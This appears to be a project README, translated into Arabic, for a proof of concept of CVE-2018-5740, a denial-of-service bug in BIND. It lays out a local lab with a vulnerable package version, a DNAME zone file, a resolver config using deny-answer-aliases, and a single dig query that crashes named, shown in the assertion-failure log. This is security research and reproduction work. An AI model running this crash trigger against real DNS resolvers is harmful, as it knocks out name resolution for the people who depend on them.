sischkg/cve-2018-5740إثبات مفهوم لاستغلال CVE-2018-5740، وهي ثغرة رفض الخدمة في خادم BIND DNS يتم تفعيلها عبر استعلام DNAME مُصمم خصيصًا، مع إعداد مخبري قابل لإعادة الإنتاج.
تتعطل عملية named، التي تستقبل استجابةً من خادم موثوق شرعي، بسبب الثغرة CVE-2018-5740.
قم بتثبيت CentOS 7.5.
قم بتثبيت حزمتي bind و bind-utils.
# yum install bind-9.9.4-61.el7.x86_64 bind-utils-9.9.4-61.el7.x86_64
أنشئ ملف منطقة example.com.
# vi /var/named/example.com
# chown root:named /var/named/example.com
ملف منطقة example.com.
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
dname IN DNAME child.example.com.
حرّر named.conf لإضافة منطقة example.com.
# vi /etc/named.conf
توجيه منطقة example.com.
zone "example.com" IN {
type master;
file "example.com";
};
شغّل خدمة الخادم الموثوق.
# systemctl start named
أنشئ ملف الإعداد لخادم المُحلِّل الكامل.
# vi /etc/named-full-resulver.conf
named-full-resolver.conf
options {
listen-on port 10053 { 127.0.0.1; };
listen-on-v6 port 10053 { ::1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
allow-query { localhost; };
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
/* Path to ISC DLV key */
bindkeys-file "/etc/named.iscdlv.key";
managed-keys-directory "/var/named/dynamic";
pid-file "/var/run/named/named-full-resolver.pid";
session-keyfile "/run/named/session.key";
deny-answer-aliases {
"dname.example.com";
};
};
logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};
zone "." IN {
type hint;
file "named.ca";
};
zone "example.com" IN {
type static-stub;
server-addresses { 127.0.0.1; };
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";
شغّل خدمة الخادم الموثوق.
# /usr/sbin/named -u named -c /etc/named-full-resolver.conf
أرسل استعلامًا إلى المُحلِّل الكامل.
$ dig @127.0.0.1 -p 10053 dname.example.com DNAME +rec
افحص /var/log/messages.
Aug 15 10:45:30 bind named[11523]: name.c:2117: REQUIRE(suffixlabels > 0) failed, back trace
Aug 15 10:45:30 bind named[11523]: #0 0x55651c255b60 in ??
Aug 15 10:45:30 bind named[11523]: #1 0x7fa8a4e1717a in ??
Aug 15 10:45:30 bind named[11523]: #2 0x7fa8a64f87e9 in ??
Aug 15 10:45:30 bind named[11523]: #3 0x7fa8a64a3daf in ??
Aug 15 10:45:30 bind named[11523]: #4 0x7fa8a64a4ff0 in ??
Aug 15 10:45:30 bind named[11523]: #5 0x7fa8a657d33e in ??
Aug 15 10:45:30 bind named[11523]: #6 0x7fa8a4e3a066 in ??
Aug 15 10:45:30 bind named[11523]: #7 0x7fa8a49eae25 in ??
Aug 15 10:45:30 bind named[11523]: #8 0x7fa8a3a5ebad in ??
Aug 15 10:45:30 bind named[11523]: exiting (due to assertion failure)